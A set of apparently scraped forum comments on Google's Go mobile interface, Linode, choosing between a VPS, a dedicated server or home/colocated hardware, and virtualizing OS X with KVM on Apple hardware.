This is great news, good to see Google building a mobile + desktop interface with Go. Just like Apple did with Objective-C.
And yet with Go there is more use of it for CLI apps and web apps. Adding mobile to that equation just makes it even more complete.
Good job Google.

3.14.1-tinycore64Great, they announced that they'd be doing this a while back. Good to see them finally release it. Linode have always been good for stability, they might not be the cheapest but they have very few network issues and have damn good network speeds.
For VERY small use cases I would recommend a VPS, however because you're suggesting that you want a lot of storage then I would recommend at least a dedicated server but I would keep buying your own hardware in the back of your mind. I'll talk about this below.
VPS: If you're suggesting hosting a few websites and a small amount of email then a VPS is fine. Prometeus is my favourite for reliability and price. However bare in mind that with a VPS you're host can look into your files whenever they like (mounting the image/device if Xen/KVM) and just entering your container if it's OpenVZ. So for sensitive data I don't recommend a VPS. Also you may be put under restrictions if you max out your CPU and memory usage for long periods of time.
Dedicated Server: This is good for large storage and if you want unrestricted CPU and memory usage. You can obviously virtualize your own servers onto this and you can also run Windows and Linux (+ OS X). This has all the benefits of having your own physical box/colocation plus you get free hardware replacements.
Own hardware: If you're happy with just relying on your network connection then you can host it at home with a small quarter rack and just put a rack mount server in there. There are some benefits with this. If you're just torrenting, hosting email and a light web server or even just for testing you can get an old server off eBay or craigslist for next-to-nothing and you have the benefits of owning the hardware and putting in as many HDDs as you like. If you're coloing then you also get a very good network connection and reliable uptime, and a public-facing IP address. Oh and having your own physical hardware is cool, and colocation is even more cool and fun to do!
As long as it is Apple hardware, as defined by[1], then it can be run, virtualized or not. KVM runs on an OS X host and therefore this is totally acceptable.

I was aware of this when posting. I am very thankful for that information and everyone who contributed to KVM, KVM-KMOD and QEMU repositories. I have moved the credit to the top of article.
This was more as a reference and a quick guide (also because I couldn't achieve Mavericks via his research and therefore I have added it here).
Thanks anyway.
